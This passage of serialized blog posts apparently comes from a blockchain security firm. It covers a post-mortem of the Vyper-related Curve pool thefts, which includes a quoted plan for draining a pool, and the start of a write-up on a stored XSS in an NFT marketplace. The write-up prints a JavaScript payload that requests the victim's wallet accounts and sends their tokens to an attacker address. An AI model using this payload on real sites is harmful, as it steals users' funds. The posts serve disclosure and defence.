",{"type":21,"tag":29,"props":33585,"children":33588},{"href":33586,"rel":33587},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[33],[33589],{"type":26,"value":33590},"CRV/ETH was vulnerable",{"type":26,"value":33592},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":21,"tag":22,"props":33594,"children":33595},{},[33596,33601],{"type":21,"tag":8055,"props":33597,"children":33598},{},[33599],{"type":26,"value":33600},"16:11 UTC",{"type":26,"value":33602}," We began working on a whitehat exploit.",{"type":21,"tag":22,"props":33604,"children":33605},{},[33606,33608,33615],{"type":26,"value":33607},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":21,"tag":29,"props":33609,"children":33612},{"href":33610,"rel":33611},"https://twitter.com/vyperlang/status/1685692973051498497",[33],[33613],{"type":26,"value":33614},"public statement on affected versions",{"type":26,"value":355},{"type":21,"tag":22,"props":33617,"children":33618},{},[33619],{"type":26,"value":33620},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":21,"tag":22,"props":33622,"children":33623},{},[33624,33626,33633],{"type":26,"value":33625},"Five minutes later at 19:11 UTC, ",{"type":21,"tag":29,"props":33627,"children":33630},{"href":33628,"rel":33629},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[33],[33631],{"type":26,"value":33632},"somebody else stole the funds",{"type":26,"value":355},{"type":21,"tag":22,"props":33635,"children":33636},{},[33637],{"type":26,"value":33638},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":21,"tag":22,"props":33640,"children":33641},{},[33642],{"type":26,"value":33643},"Nevertheless, there was more ground to cover.",{"type":21,"tag":22,"props":33645,"children":33646},{},[33647,33652],{"type":21,"tag":8055,"props":33648,"children":33649},{},[33650],{"type":26,"value":33651},"21:26 UTC",{"type":26,"value":33653}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":21,"tag":5689,"props":33655,"children":33656},{},[33657],{"type":21,"tag":22,"props":33658,"children":33659},{},[33660,33662,33666,33668,33671,33673,33676,33678],{"type":26,"value":33661},"if you send like 30k crv to the crv/eth pool ",{"type":21,"tag":33663,"props":33664,"children":33665},"br",{},[],{"type":26,"value":33667},"\nyou can then update admin fee ",{"type":21,"tag":33663,"props":33669,"children":33670},{},[],{"type":26,"value":33672},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":21,"tag":33663,"props":33674,"children":33675},{},[],{"type":26,"value":33677},"\nso you can basically drain whole pool for few hundred K crv ",{"type":21,"tag":33663,"props":33679,"children":33680},{},[],{"type":21,"tag":22,"props":33682,"children":33683},{},[33684,33689],{"type":21,"tag":8055,"props":33685,"children":33686},{},[33687],{"type":26,"value":33688},"21:52 UTC",{"type":26,"value":33690}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":21,"tag":22,"props":33692,"children":33693},{},[33694,33696,33703,33705,33712,33720],{"type":26,"value":33695},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":21,"tag":29,"props":33697,"children":33700},{"href":33698,"rel":33699},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[33],[33701],{"type":26,"value":33702},"CRV admin fee bot",{"type":26,"value":33704}," had claimed fees and ",{"type":21,"tag":29,"props":33706,"children":33709},{"href":33707,"rel":33708},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[33],[33710],{"type":26,"value":33711},"the pool was drained",{"type":21,"tag":18171,"props":33713,"children":33714},{},[33715],{"type":21,"tag":29,"props":33716,"children":33718},{"href":32318,"ariaDescribedBy":33717,"dataFootnoteRef":7,"id":32320},[18178],[33719],{"type":26,"value":3033},{"type":26,"value":355},{"type":21,"tag":66,"props":33722,"children":33724},{"id":33723},"blame",[33725],{"type":26,"value":33726},"Blame",{"type":21,"tag":22,"props":33728,"children":33729},{},[33730,33734],{"type":21,"tag":5302,"props":33731,"children":33732},{},[33733],{"type":26,"value":33726},{"type":26,"value":33735}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":21,"tag":114,"props":33737,"children":33739},{"id":33738},"races",[33740],{"type":26,"value":33741},"Races",{"type":21,"tag":22,"props":33743,"children":33744},{},[33745],{"type":26,"value":33746},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":21,"tag":22,"props":33748,"children":33749},{},[33750],{"type":26,"value":33751},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":21,"tag":22,"props":33753,"children":33754},{},[33755],{"type":26,"value":33756},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":21,"tag":114,"props":33758,"children":33760},{"id":33759},"information-leakage",[33761],{"type":26,"value":33762},"Information Leakage",{"type":21,"tag":22,"props":33764,"children":33765},{},[33766],{"type":26,"value":33767},"I was both an auditor and a whitehat.",{"type":21,"tag":22,"props":33769,"children":33770},{},[33771,33773,33780],{"type":26,"value":33772},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":21,"tag":29,"props":33774,"children":33777},{"href":33775,"rel":33776},"https://twitter.com/osec_io/status/1579969927020412929",[33],[33778],{"type":26,"value":33779},"by publishing the \"scoop\"",{"type":26,"value":33781}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":21,"tag":22,"props":33783,"children":33784},{},[33785],{"type":26,"value":33786},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":21,"tag":22,"props":33788,"children":33789},{},[33790],{"type":26,"value":33791},"Half an hour more could have saved $18M.",{"type":21,"tag":22,"props":33793,"children":33794},{},[33795],{"type":26,"value":33796},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":21,"tag":66,"props":33798,"children":33800},{"id":33799},"next-steps",[33801],{"type":26,"value":33802},"Next Steps",{"type":21,"tag":22,"props":33804,"children":33805},{},[33806],{"type":26,"value":33807},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":21,"tag":22,"props":33809,"children":33810},{},[33811,33813,33820],{"type":26,"value":33812},"It's important to note that this bug ",{"type":21,"tag":29,"props":33814,"children":33817},{"href":33815,"rel":33816},"https://twitter.com/real_philogy/status/1685948253139857409",[33],[33818],{"type":26,"value":33819},"was patched since November 2021",{"type":26,"value":355},{"type":21,"tag":5689,"props":33822,"children":33823},{},[33824],{"type":21,"tag":22,"props":33825,"children":33826},{},[33827,33829,33834,33835,33838,33840,33845],{"type":26,"value":33828},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":21,"tag":5302,"props":33830,"children":33831},{},[33832],{"type":26,"value":33833},"processes",{"type":26,"value":21229},{"type":21,"tag":33663,"props":33836,"children":33837},{},[],{"type":26,"value":33839},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":21,"tag":5302,"props":33841,"children":33842},{},[33843],{"type":26,"value":33844},"was",{"type":26,"value":33846}," fixed.",{"type":21,"tag":22,"props":33848,"children":33849},{},[33850],{"type":26,"value":33851},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":21,"tag":21119,"props":33853,"children":33855},{"className":33854,"dataFootnotes":7},[21122],[33856,33861],{"type":21,"tag":66,"props":33857,"children":33859},{"className":33858,"id":18178},[21127],[33860],{"type":26,"value":21130},{"type":21,"tag":126,"props":33862,"children":33863},{},[33864],{"type":21,"tag":91,"props":33865,"children":33866},{"id":33060},[33867,33869],{"type":26,"value":33868},"Thankfully, these funds were later returned. ",{"type":21,"tag":29,"props":33870,"children":33872},{"href":33088,"ariaLabel":21233,"className":33871,"dataFootnoteBackref":7},[21235],[33873],{"type":26,"value":21238},{"type":21,"tag":5603,"props":33875,"children":33876},{},[33877],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":33879},[33880,33881,33885,33886],{"id":33155,"depth":166,"text":33158},{"id":33723,"depth":166,"text":33726,"children":33882},[33883,33884],{"id":33738,"depth":225,"text":33741},{"id":33759,"depth":225,"text":33762},{"id":33799,"depth":166,"text":33802},{"id":18178,"depth":166,"text":21130},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":33891,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":33892,"description":33893,"author":33894,"image":33897,"date":33899,"isFeatured":16,"tags":33900,"onBlogPage":16,"body":33903,"_type":5619,"_id":38112,"_source":5621,"_file":38113,"_stem":38114,"_extension":5624},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[33895,33896],"caue","bruno",{"src":33898,"height":16340,"width":16340},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[33901,33902],"nft-marketplaces","xss",{"type":18,"children":33904,"toc":38095},[33905,33909,33914,33918,33923,33928,33933,33949,33955,33968,33990,33997,34002,34009,34014,34020,34025,34030,34035,34040,34051,34056,35023,35033,35045,35052,35057,35878,35883,35888,35893,35898,36682,36687,36769,36774,36843,36849,36854,36859,37086,37099,37104,37109,37114,37121,37126,37133,37139,37144,37149,37154,37473,37478,37484,37500,37506,37511,37516,37526,37531,37536,37545,37550,37556,37572,37585,37590,37595,37615,37622,37627,37634,37643,37648,37669,37722,37727,37777,37791,37796,37810,37925,37948,38032,38055,38060,38065,38070,38075,38080,38086,38091],{"type":21,"tag":66,"props":33906,"children":33907},{"id":31710},[33908],{"type":26,"value":31713},{"type":21,"tag":22,"props":33910,"children":33911},{},[33912],{"type":26,"value":33913},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":21,"tag":114,"props":33915,"children":33916},{"id":5674},[33917],{"type":26,"value":5677},{"type":21,"tag":22,"props":33919,"children":33920},{},[33921],{"type":26,"value":33922},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":21,"tag":22,"props":33924,"children":33925},{},[33926],{"type":26,"value":33927},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":21,"tag":66,"props":33929,"children":33930},{"id":33902},[33931],{"type":26,"value":33932},"XSS",{"type":21,"tag":22,"props":33934,"children":33935},{},[33936],{"type":21,"tag":5302,"props":33937,"children":33938},{},[33939,33941,33948],{"type":26,"value":33940},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":21,"tag":29,"props":33942,"children":33945},{"href":33943,"rel":33944},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[33],[33946],{"type":26,"value":33947},"even explain it to myself",{"type":26,"value":355},{"type":21,"tag":114,"props":33950,"children":33952},{"id":33951},"managing-metadata",[33953],{"type":26,"value":33954},"Managing Metadata",{"type":21,"tag":22,"props":33956,"children":33957},{},[33958,33960,33967],{"type":26,"value":33959},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":21,"tag":29,"props":33961,"children":33964},{"href":33962,"rel":33963},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[33],[33965],{"type":26,"value":33966},"payloads",{"type":26,"value":355},{"type":21,"tag":22,"props":33969,"children":33970},{},[33971,33973,33980,33982,33988],{"type":26,"value":33972},"We showcase this vulnerability in the ",{"type":21,"tag":29,"props":33974,"children":33977},{"href":33975,"rel":33976},"https://rocki.com/",[33],[33978],{"type":26,"value":33979},"Rocki Marketplace",{"type":26,"value":33981},". The ",{"type":21,"tag":78,"props":33983,"children":33985},{"className":33984},[],[33986],{"type":26,"value":33987},"artistDescription",{"type":26,"value":33989}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":21,"tag":22,"props":33991,"children":33992},{},[33993],{"type":21,"tag":3644,"props":33994,"children":33996},{"alt":7,"src":33995},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":21,"tag":22,"props":33998,"children":33999},{},[34000],{"type":26,"value":34001},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":21,"tag":22,"props":34003,"children":34004},{},[34005],{"type":21,"tag":3644,"props":34006,"children":34008},{"alt":7,"src":34007},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":21,"tag":22,"props":34010,"children":34011},{},[34012],{"type":26,"value":34013},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":21,"tag":114,"props":34015,"children":34017},{"id":34016},"wheres-my-wallet",[34018],{"type":26,"value":34019},"Where's My Wallet",{"type":21,"tag":22,"props":34021,"children":34022},{},[34023],{"type":26,"value":34024},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":21,"tag":22,"props":34026,"children":34027},{},[34028],{"type":26,"value":34029},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":21,"tag":22,"props":34031,"children":34032},{},[34033],{"type":26,"value":34034},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":21,"tag":22,"props":34036,"children":34037},{},[34038],{"type":26,"value":34039},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":21,"tag":34041,"props":34042,"children":34044},"div",{"style":34043},"display:flex; align-items:center; flex-direction:column;",[34045],{"type":21,"tag":3644,"props":34046,"children":34050},{"src":34047,"alt":34048,"style":34049},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":21,"tag":22,"props":34052,"children":34053},{},[34054],{"type":26,"value":34055},"And here we can find the code used to achieve it :",{"type":21,"tag":143,"props":34057,"children":34061},{"className":34058,"code":34059,"language":34060,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n  if (typeof window.ethereum === 'undefined') {\n    console.error('Please install MetaMask to use this feature.');\n  } else {\n    ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n      const fromAddress = accounts[0];\n      const attackerAddress = '0x0000000000000000000000000000000000000000';\n      const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n      let tokenAbi = [\n        {\n          constant: false,\n          inputs: [\n            {\n              name: '_to',\n              type: 'address',\n            },\n            {\n              name: '_value',\n              type: 'uint256',\n            },\n          ],\n          name: 'transfer',\n          outputs: [\n            {\n              name: '',\n              type: 'bool',\n            },\n          ],\n          type: 'function',\n        },\n      ];\n\n      const web3 = new Web3(window.ethereum);\n\n      const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n      const transactionObject = {\n        from: fromAddress,\n        to: contractAddress,\n        data: tokenContract.methods\n          .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n          .encodeABI(),\n      };\n\n      web3.eth.sendTransaction(transactionObject);\n    });\n  }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[34062],{"type":21,"tag":78,"props":34063,"children":34064},{"__ignoreMap":7},[34065,34082,34127,34156,34172,34235,34269,34294,34319,34326,34346,34354,34370,34382,34390,34407,34424,34432,34439,34455,34471,34478,34486,34503,34515,34522,34538,34554,34561,34568,34585,34592,34600,34607,34654,34661,34725,34732,34752,34768,34784,34805,34875,34891,34898,34905,34943,34951,34958,34965,34972,34993],{"type":21,"tag":153,"props":34066,"children":34067},{"class":155,"line":156},[34068,34073,34078],{"type":21,"tag":153,"props":34069,"children":34070},{"style":170},[34071],{"type":26,"value":34072},"function",{"type":21,"tag":153,"props":34074,"children":34075},{"style":181},[34076],{"type":26,"value":34077}," request",{"type":21,"tag":153,"props":34079,"children":34080},{"style":160},[34081],{"type":26,"value":18433},{"type":21,"tag":153,"props":34083,"children":34084},{"class":155,"line":166},[34085,34090,34094,34099,34104,34108,34113,34118,34123],{"type":21,"tag":153,"props":34086,"children":34087},{"style":1751},[34088],{"type":26,"value":34089},"  if",{"type":21,"tag":153,"props":34091,"children":34092},{"style":160},[34093],{"type":26,"value":5820},{"type":21,"tag":153,"props":34095,"children":34096},{"style":170},[34097],{"type":26,"value":34098},"typeof",{"type":21,"tag":153,"props":34100,"children":34101},{"style":192},[34102],{"type":26,"value":34103}," window",{"type":21,"tag":153,"props":34105,"children":34106},{"style":160},[34107],{"type":26,"value":355},{"type":21,"tag":153,"props":34109,"children":34110},{"style":192},[34111],{"type":26,"value":34112},"ethereum",{"type":21,"tag":153,"props":34114,"children":34115},{"style":198},[34116],{"type":26,"value":34117}," ===",{"type":21,"tag":153,"props":34119,"children":34120},{"style":671},[34121],{"type":26,"value":34122}," 'undefined'",{"type":21,"tag":153,"props":34124,"children":34125},{"style":160},[34126],{"type":26,"value":2659},{"type":21,"tag":153,"props":34128,"children":34129},{"class":155,"line":225},[34130,34135,34139,34143,34147,34152],{"type":21,"tag":153,"props":34131,"children":34132},{"style":192},[34133],{"type":26,"value":34134},"    console",{"type":21,"tag":153,"props":34136,"children":34137},{"style":160},[34138],{"type":26,"value":355},{"type":21,"tag":153,"props":34140,"children":34141},{"style":181},[34142],{"type":26,"value":17566},{"type":21,"tag":153,"props":34144,"children":34145},{"style":160},[34146],{"type":26,"value":189},{"type":21,"tag":153,"props":34148,"children":34149},{"style":671},[34150],{"type":26,"value":34151},"'Please install MetaMask to use this feature.'",{"type":21,"tag":153,"props":34153,"children":34154},{"style":160},[34155],{"type":26,"value":530},{"type":21,"tag":153,"props":34157,"children":34158},{"class":155,"line":239},[34159,34164,34168],{"type":21,"tag":153,"props":34160,"children":34161},{"style":160},[34162],{"type":26,"value":34163},"  } ",{"type":21,"tag":153,"props":34165,"children":34166},{"style":1751},[34167],{"type":26,"value":2717},{"type":21,"tag":153,"props":34169,"children":34170},{"style":160},[34171],{"type":26,"value":236},{"type":21,"tag":153,"props":34173,"children":34174},{"class":155,"line":382},[34175,34180,34184,34189,34194,34199,34204,34209,34214,34219,34223,34227,34231],{"type":21,"tag":153,"props":34176,"children":34177},{"style":192},[34178],{"type":26,"value":34179},"    ethereum",{"type":21,"tag":153,"props":34181,"children":34182},{"style":160},[34183],{"type":26,"value":355},{"type":21,"tag":153,"props":34185,"children":34186},{"style":181},[34187],{"type":26,"value":34188},"request",{"type":21,"tag":153,"props":34190,"children":34191},{"style":160},[34192],{"type":26,"value":34193},"({ ",{"type":21,"tag":153,"props":34195,"children":34196},{"style":192},[34197],{"type":26,"value":34198},"method:",{"type":21,"tag":153,"props":34200,"children":34201},{"style":671},[34202],{"type":26,"value":34203}," 'eth_requestAccounts'",{"type":21,"tag":153,"props":34205,"children":34206},{"style":160},[34207],{"type":26,"value":34208}," }).",{"type":21,"tag":153,"props":34210,"children":34211},{"style":181},[34212],{"type":26,"value":34213},"then",{"type":21,"tag":153,"props":34215,"children":34216},{"style":160},[34217],{"type":26,"value":34218},"((",{"type":21,"tag":153,"props":34220,"children":34221},{"style":192},[34222],{"type":26,"value":2987},{"type":21,"tag":153,"props":34224,"children":34225},{"style":160},[34226],{"type":26,"value":2362},{"type":21,"tag":153,"props":34228,"children":34229},{"style":170},[34230],{"type":26,"value":17524},{"type":21,"tag":153,"props":34232,"children":34233},{"style":160},[34234],{"type":26,"value":236},{"type":21,"tag":153,"props":34236,"children":34237},{"class":155,"line":501},[34238,34243,34248,34252,34257,34261,34265],{"type":21,"tag":153,"props":34239,"children":34240},{"style":170},[34241],{"type":26,"value":34242},"      const",{"type":21,"tag":153,"props":34244,"children":34245},{"style":192},[34246],{"type":26,"value":34247}," fromAddress",{"type":21,"tag":153,"props":34249,"children":34250},{"style":198},[34251],{"type":26,"value":255},{"type":21,"tag":153,"props":34253,"children":34254},{"style":192},[34255],{"type":26,"value":34256}," accounts",{"type":21,"tag":153,"props":34258,"children":34259},{"style":160},[34260],{"type":26,"value":211},{"type":21,"tag":153,"props":34262,"children":34263},{"style":300},[34264],{"type":26,"value":2996},{"type":21,"tag":153,"props":34266,"children":34267},{"style":160},[34268],{"type":26,"value":1234},{"type":21,"tag":153,"props":34270,"children":34271},{"class":155,"line":533},[34272,34276,34281,34285,34290],{"type":21,"tag":153,"props":34273,"children":34274},{"style":170},[34275],{"type":26,"value":34242},{"type":21,"tag":153,"props":34277,"children":34278},{"style":192},[34279],{"type":26,"value":34280}," attackerAddress",{"type":21,"tag":153,"props":34282,"children":34283},{"style":198},[34284],{"type":26,"value":255},{"type":21,"tag":153,"props":34286,"children":34287},{"style":671},[34288],{"type":26,"value":34289}," '0x0000000000000000000000000000000000000000'",{"type":21,"tag":153,"props":34291,"children":34292},{"style":160},[34293],{"type":26,"value":1759},{"type":21,"tag":153,"props":34295,"children":34296},{"class":155,"line":542},[34297,34301,34306,34310,34315],{"type":21,"tag":153,"props":34298,"children":34299},{"style":170},[34300],{"type":26,"value":34242},{"type":21,"tag":153,"props":34302,"children":34303},{"style":192},[34304],{"type":26,"value":34305}," contractAddress",{"type":21,"tag":153,"props":34307,"children":34308},{"style":198},[34309],{"type":26,"value":255},{"type":21,"tag":153,"props":34311,"children":34312},{"style":671},[34313],{"type":26,"value":34314}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":21,"tag":153,"props":34316,"children":34317},{"style":160},[34318],{"type":26,"value":1759},{"type":21,"tag":153,"props":34320,"children":34321},{"class":155,"line":762},[34322],{"type":21,"tag":153,"props":34323,"children":34324},{"emptyLinePlaceholder":16},[34325],{"type":26,"value":759},{"type":21,"tag":153,"props":34327,"children":34328},{"class":155,"line":776},[34329,34333,34338,34342],{"type":21,"tag":153,"props":34330,"children":34331},{"style":170},[34332],{"type":26,"value":10801},{"type":21,"tag":153,"props":34334,"children":34335},{"style":192},[34336],{"type":26,"value":34337}," tokenAbi",{"type":21,"tag":153,"props":34339,"children":34340},{"style":198},[34341],{"type":26,"value":255},{"type":21,"tag":153,"props":34343,"children":34344},{"style":160},[34345],{"type":26,"value":28318},{"type":21,"tag":153,"props":34347,"children":34348},{"class":155,"line":795},[34349],{"type":21,"tag":153,"props":34350,"children":34351},{"style":160},[34352],{"type":26,"value":34353},"        {\n",{"type":21,"tag":153,"props":34355,"children":34356},{"class":155,"line":808},[34357,34362,34366],{"type":21,"tag":153,"props":34358,"children":34359},{"style":192},[34360],{"type":26,"value":34361},"          constant:",{"type":21,"tag":153,"props":34363,"children":34364},{"style":170},[34365],{"type":26,"value":11782},{"type":21,"tag":153,"props":34367,"children":34368},{"style":160},[34369],{"type":26,"value":792},{"type":21,"tag":153,"props":34371,"children":34372},{"class":155,"line":820},[34373,34378],{"type":21,"tag":153,"props":34374,"children":34375},{"style":192},[34376],{"type":26,"value":34377},"          inputs:",{"type":21,"tag":153,"props":34379,"children":34380},{"style":160},[34381],{"type":26,"value":28318},{"type":21,"tag":153,"props":34383,"children":34384},{"class":155,"line":842},[34385],{"type":21,"tag":153,"props":34386,"children":34387},{"style":160},[34388],{"type":26,"value":34389},"            {\n",{"type":21,"tag":153,"props":34391,"children":34392},{"class":155,"line":3204},[34393,34398,34403],{"type":21,"tag":153,"props":34394,"children":34395},{"style":192},[34396],{"type":26,"value":34397},"              name:",{"type":21,"tag":153,"props":34399,"children":34400},{"style":671},[34401],{"type":26,"value":34402}," '_to'",{"type":21,"tag":153,"props":34404,"children":34405},{"style":160},[34406],{"type":26,"value":792},{"type":21,"tag":153,"props":34408,"children":34409},{"class":155,"line":3230},[34410,34415,34420],{"type":21,"tag":153,"props":34411,"children":34412},{"style":192},[34413],{"type":26,"value":34414},"              type:",{"type":21,"tag":153,"props":34416,"children":34417},{"style":671},[34418],{"type":26,"value":34419}," 'address'",{"type":21,"tag":153,"props":34421,"children":34422},{"style":160},[34423],{"type":26,"value":792},{"type":21,"tag":153,"props":34425,"children":34426},{"class":155,"line":3239},[34427],{"type":21,"tag":153,"props":34428,"children":34429},{"style":160},[34430],{"type":26,"value":34431},"            },\n",{"type":21,"tag":153,"props":34433,"children":34434},{"class":155,"line":3253},[34435],{"type":21,"tag":153,"props":34436,"children":34437},{"style":160},[34438],{"type":26,"value":34389},{"type":21,"tag":153,"props":34440,"children":34441},{"class":155,"line":3301},[34442,34446,34451],{"type":21,"tag":153,"props":34443,"children":34444},{"style":192},[34445],{"type":26,"value":34397},{"type":21,"tag":153,"props":34447,"children":34448},{"style":671},[34449],{"type":26,"value":34450}," '_value'",{"type":21,"tag":153,"props":34452,"children":34453},{"style":160},[34454],{"type":26,"value":792},{"type":21,"tag":153,"props":34456,"children":34457},{"class":155,"line":3346},[34458,34462,34467],{"type":21,"tag":153,"props":34459,"children":34460},{"style":192},[34461],{"type":26,"value":34414},{"type":21,"tag":153,"props":34463,"children":34464},{"style":671},[34465],{"type":26,"value":34466}," 'uint256'",{"type":21,"tag":153,"props":34468,"children":34469},{"style":160},[34470],{"type":26,"value":792},{"type":21,"tag":153,"props":34472,"children":34473},{"class":155,"line":3355},[34474],{"type":21,"tag":153,"props":34475,"children":34476},{"style":160},[34477],{"type":26,"value":34431},{"type":21,"tag":153,"props":34479,"children":34480},{"class":155,"line":3364},[34481],{"type":21,"tag":153,"props":34482,"children":34483},{"style":160},[34484],{"type":26,"value":34485},"          ],\n",{"type":21,"tag":153,"props":34487,"children":34488},{"class":155,"line":3376},[34489,34494,34499],{"type":21,"tag":153,"props":34490,"children":34491},{"style":192},[34492],{"type":26,"value":34493},"          name:",{"type":21,"tag":153,"props":34495,"children":34496},{"style":671},[34497],{"type":26,"value":34498}," 'transfer'",{"type":21,"tag":153,"props":34500,"children":34501},{"style":160},[34502],{"type":26,"value":792},{"type":21,"tag":153,"props":34504,"children":34505},{"class":155,"line":3393},[34506,34511],{"type":21,"tag":153,"props":34507,"children":34508},{"style":192},[34509],{"type":26,"value":34510},"          outputs:",{"type":21,"tag":153,"props":34512,"children":34513},{"style":160},[34514],{"type":26,"value":28318},{"type":21,"tag":153,"props":34516,"children":34517},{"class":155,"line":3405},[34518],{"type":21,"tag":153,"props":34519,"children":34520},{"style":160},[34521],{"type":26,"value":34389},{"type":21,"tag":153,"props":34523,"children":34524},{"class":155,"line":3427},[34525,34529,34534],{"type":21,"tag":153,"props":34526,"children":34527},{"style":192},[34528],{"type":26,"value":34397},{"type":21,"tag":153,"props":34530,"children":34531},{"style":671},[34532],{"type":26,"value":34533}," ''",{"type":21,"tag":153,"props":34535,"children":34536},{"style":160},[34537],{"type":26,"value":792},{"type":21,"tag":153,"props":34539,"children":34540},{"class":155,"line":3448},[34541,34545,34550],{"type":21,"tag":153,"props":34542,"children":34543},{"style":192},[34544],{"type":26,"value":34414},{"type":21,"tag":153,"props":34546,"children":34547},{"style":671},[34548],{"type":26,"value":34549}," 'bool'",{"type":21,"tag":153,"props":34551,"children":34552},{"style":160},[34553],{"type":26,"value":792},{"type":21,"tag":153,"props":34555,"children":34556},{"class":155,"line":3456},[34557],{"type":21,"tag":153,"props":34558,"children":34559},{"style":160},[34560],{"type":26,"value":34431},{"type":21,"tag":153,"props":34562,"children":34563},{"class":155,"line":3493},[34564],{"type":21,"tag":153,"props":34565,"children":34566},{"style":160},[34567],{"type":26,"value":34485},{"type":21,"tag":153,"props":34569,"children":34570},{"class":155,"line":3509},[34571,34576,34581],{"type":21,"tag":153,"props":34572,"children":34573},{"style":192},[34574],{"type":26,"value":34575},"          type:",{"type":21,"tag":153,"props":34577,"children":34578},{"style":671},[34579],{"type":26,"value":34580}," 'function'",{"type":21,"tag":153,"props":34582,"children":34583},{"style":160},[34584],{"type":26,"value":792},{"type":21,"tag":153,"props":34586,"children":34587},{"class":155,"line":3517},[34588],{"type":21,"tag":153,"props":34589,"children":34590},{"style":160},[34591],{"type":26,"value":3236},{"type":21,"tag":153,"props":34593,"children":34594},{"class":155,"line":3526},[34595],{"type":21,"tag":153,"props":34596,"children":34597},{"style":160},[34598],{"type":26,"value":34599},"      ];\n",{"type":21,"tag":153,"props":34601,"children":34602},{"class":155,"line":3607},[34603],{"type":21,"tag":153,"props":34604,"children":34605},{"emptyLinePlaceholder":16},[34606],{"type":26,"value":759},{"type":21,"tag":153,"props":34608,"children":34609},{"class":155,"line":3615},[34610,34614,34619,34623,34628,34633,34637,34642,34646,34650],{"type":21,"tag":153,"props":34611,"children":34612},{"style":170},[34613],{"type":26,"value":34242},{"type":21,"tag":153,"props":34615,"children":34616},{"style":192},[34617],{"type":26,"value":34618}," web3",{"type":21,"tag":153,"props":34620,"children":34621},{"style":198},[34622],{"type":26,"value":255},{"type":21,"tag":153,"props":34624,"children":34625},{"style":170},[34626],{"type":26,"value":34627}," new",{"type":21,"tag":153,"props":34629,"children":34630},{"style":181},[34631],{"type":26,"value":34632}," 